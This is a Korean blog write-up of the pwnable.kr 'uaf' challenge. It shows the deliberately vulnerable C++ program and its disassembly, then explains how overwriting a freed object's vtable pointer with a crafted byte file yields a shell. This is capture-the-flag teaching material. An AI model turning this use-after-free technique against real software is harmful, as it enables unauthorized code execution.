해설
Mommy, what is Use After Free bug?
use-after-free 버그에 관한 문제이다. uaf.cpp 코드는 다음과 같다.
#include <fcntl.h>
#include <iostream>
#include <cstring>
#include <cstdlib>
#include <unistd.h>
using namespace std;
class Human{
private:
virtual void give_shell(){
system("/bin/sh");
}
protected:
int age;
string name;
public:
virtual void introduce(){
cout << "My name is " << name << endl;
cout << "I am " << age << " years old" << endl;
}
};
class Man: public Human{
public:
Man(string name, int age){
this->name = name;
this->age = age;
}
virtual void introduce(){
Human::introduce();
cout << "I am a nice guy!" << endl;
}
};
class Woman: public Human{
public:
Woman(string name, int age){
this->name = name;
this->age = age;
}
virtual void introduce(){
Human::introduce();
cout << "I am a cute girl!" << endl;
}
};
int main(int argc, char* argv[]){
Human* m = new Man("Jack", 25);
Human* w = new Woman("Jill", 21);
size_t len;
char* data;
unsigned int op;
while(1){
cout << "1. use\n2. after\n3. free\n";
cin >> op;
switch(op){
case 1:
m->introduce();
w->introduce();
break;
case 2:
len = atoi(argv[1]);
data = new char[len];
read(open(argv[2], O_RDONLY), data, len);
cout << "your data is allocated" << endl;
break;
case 3:
delete m;
delete w;
break;
default:
break;
}
}
return 0;
}
use-after-free 버그는 free한 동적 메모리와 동일한 사이즈만큼을 재할당할 경우, 다른 힙 주소가 아니라 바로 이전에 free한 힙 주소와 동일한 주소가 할당되는점을 악용한 버그이다. 코드를 보면 Human 클래스에 give_shell 함수가 있는데, 이 함수를 어떻게든 실행하면 될 것 같다.
main 함수에는 총 3가지 케이스문이 있는데, 첫번째 use는 man과 woman 클래스의 멤버 함수인 introduce를 실행한다.
두번째 after는 커맨드라인 입력을 받아 첫번째 인자를 사이즈, 두번째 인자를 파일 디스크립터로 하여 해당 파일에서 len만큼을 읽어 new를 통해 할당한 메모리에 저장한다. 이 때 new는 동적할당임을 명심하자 따라서 이부분에서 uaf가 발생할 가능성이 있다. 세번째 free는 말그대로 기존의 man, woman object들을 delete 해준다. delete는 free와 같다고 생각하면 된다.
따라서 악용할 입력은 after에 있고, 이 부분에 입력을 잘 준 다음 free된 메모리를 재할당하여 메모리 데이터를 조작하는 식으로 공격을 수행하면 되지 않을까라고 생각할 수 있다.
그럼 어떤 부분을 어떻게 바꿔야 할까? 잠깐 실행 흐름을 보면서 생각해보도록 하자. 다음은 main의 각각의 swith case문에 대한 어셈 코드이다.
use 코드
5>: mov rax,QWORD PTR [rbp-0x38]
0x0000000000400fd1 <+269>: mov rax,QWORD PTR [rax]
0x0000000000400fd4 <+272>: add rax,0x8
0x0000000000400fd8 <+276>: mov rdx,QWORD PTR [rax]
0x0000000000400fdb <+279>: mov rax,QWORD PTR [rbp-0x38]
0x0000000000400fdf <+283>: mov rdi,rax
0x0000000000400fe2 <+286>: call rdx
0x0000000000400fe4 <+288>: mov rax,QWORD PTR [rbp-0x30]
0x0000000000400fe8 <+292>: mov rax,QWORD PTR [rax]
0x0000000000400feb <+295>: add rax,0x8
0x0000000000400fef <+299>: mov rdx,QWORD PTR [rax]
0x0000000000400ff2 <+302>: mov rax,QWORD PTR [rbp-0x30]
0x0000000000400ff6 <+306>: mov rdi,rax
0x0000000000400ff9 <+309>: call rdx
첫줄 부터 보면 앞 부분은 생략 되었지만 rbp-0x38 부분이 man object를 가리키는 주소가 있는 스택 부분이다. 브레이크 포인트를 걸고 이를 gdb로 확인하면 다음과 같다.

따라서 rax에는 0x186ec50이 저장된다. 두번째 줄은 0x186ec50이 가리키는 주소를 rax에 저장하라고 하는데, 해당 부분도 마찬가지로 확인해보자.

해당 부분에 있는 값들을 더 참조하고 유추해보면, 19는 25, 즉 나이를 나타냄을 알 수 있고, 0x1863c38 부분에는 Jack이라는 문자열이 담겨 있음을 알 수 있다. 그리고 0x401570 부분을 확인해보자.

이 부분에 무언가 주소값들이 담겨 있는거 같은데, 하나하나 확인해보자.


확인 해본 결과, 멤버 함수들을 가리키는 주소임을 알 수 있다. 그 중에서도 0x40117a는 우리가 최종적으로 실행해야할 거 같은 함수인 give_shell 함수이다.
여기까지 확인하고 어셈 코드를 더 보자. 세번째 줄은 rax에 8을 더한다. 원래 rax는 0x401570이고, 이 부분은 0x40117a를 가리키고 있었는데, 8을 더해 0x401578이 되어 0x4012d2인 introduce 함수를 가리키게 된다. 그리고 그 다음줄에서 정확히 0x401578이 가리키는 부분을 rdx에 저장하고, 그 뒤로 최종적으로 call rdx를 통해 introduce 함수가 호출 된다. 밑에 부분은 마찬가지로 woman의 introduce 함수를 호출하는 동일한 과정을 거친다.
따라서 생각의 흐름은, 원래 man object가 할당 되었던 부분의 메모리 값 0x401570을 그보다 8 적은 0x401568로 수정할 수 있다면, 그 뒤의 실행 흐름 상 자연스럽게 introduce 함수가 아닌 give_shell 함수가 실행 될거라고 예측할 수 있다.
그럼 uaf를 어떻게 이용하면 될까? 우선 free를 할 경우에, 원래 할당 되었던 man object와 woman object가 delete되고, after를 호출할 경우 새로 메모리를 할당하는 과정에서 이전에 free 되었던 메모리가 재할당 될 수 있음을 알면, 해당 부분의 메모리 값을 조작할 수 있을 것 같다.
우선 free를 해서 메모리가 어떻게 변경되는지 살펴보자. free를 한 이후에 0x186ec50 부분을 확인하면 다음과 같다.

원래 0x186ec50 부분에 저장되어 있던 0x401570 값이 없어졌다.
after 코드
0x0000000000401000 <+316>: mov rax,QWORD PTR [rbp-0x60]
0x0000000000401004 <+320>: add rax,0x8
0x0000000000401008 <+324>: mov rax,QWORD PTR [rax]
0x000000000040100b <+327>: mov rdi,rax
0x000000000040100e <+330>: call 0x400d20 <atoi@plt>
0x0000000000401013 <+335>: cdqe
0x0000000000401015 <+337>: mov QWORD PTR [rbp-0x28],rax
0x0000000000401019 <+341>: mov rax,QWORD PTR [rbp-0x28]
0x000000000040101d <+345>: mov rdi,rax
0x0000000000401020 <+348>: call 0x400c70 <_Znam@plt>
0x0000000000401025 <+353>: mov QWORD PTR [rbp-0x20],rax
0x0000000000401029 <+357>: mov rax,QWORD PTR [rbp-0x60]
0x000000000040102d <+361>: add rax,0x10
0x0000000000401031 <+365>: mov rax,QWORD PTR [rax]
0x0000000000401034 <+368>: mov esi,0x0
0x0000000000401039 <+373>: mov rdi,rax
0x000000000040103c <+376>: mov eax,0x0
0x0000000000401041 <+381>: call 0x400dc0 <open@plt>
0x0000000000401046 <+386>: mov rdx,QWORD PTR [rbp-0x28]
0x000000000040104a <+390>: mov rcx,QWORD PTR [rbp-0x20]
0x000000000040104e <+394>: mov rsi,rcx
0x0000000000401051 <+397>: mov edi,eax
0x0000000000401053 <+399>: call 0x400ca0 <read@plt>
0x0000000000401058 <+404>: mov esi,0x401513
0x000000000040105d <+409>: mov edi,0x602260
0x0000000000401062 <+414>: call 0x400cf0 <_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc@plt>
0x0000000000401067 <+419>: mov esi,0x400d60
0x000000000040106c <+424>: mov rdi,rax
0x000000000040106f <+427>: call 0x400d50 <_ZNSolsEPFRSoS_E@plt>
after 코드를 보면, 0x401020 라인에서 새로운 메모리가 할당되고 해당 주소가 rax에 들어있음을 알 수 있다. 따라서 free 후에 after를 실행하면, 재할당 되는 주소가 0x186eca0임을 확인할 수 있다. 왜 0x186ec50이 아니라 a0일까? a0이 바로 woman의 obejct를 가리키고 있던 주소기 때문이다. 따라서 한번 더 after를 실행하면 0x186ec50 메모리도 재할당됨을 확인할 수 있다.
따라서 공격의 흐름은, 3->2->2->1 순서로 코드를 실행하도록하고, 0x186ec50 부분에 0x401570이 아닌 0x401568이 저장 되도록 하면 될 것 같다.
/tmp 디렉토리에 python -c 'print "\x68\x15\x40\x00\x00\x00\x00\x00"' >> asdf를 통해 조작할 주소값 바이트를 저장하는 파일을 만들고 다음과 같이 실행하면 쉘을 얻을 수 있다.

'pwn' 카테고리의 다른 글
| pwnable.kr - asm (0) | 2020.07.22 |
|---|---|
| pwnable.kr - memcpy (0) | 2020.07.21 |
| pwnable.kr - cmd2 (0) | 2020.07.20 |
| pwnable.kr - cmd1 (0) | 2020.07.16 |
| pwnable.kr - lotto (0) | 2020.07.16 |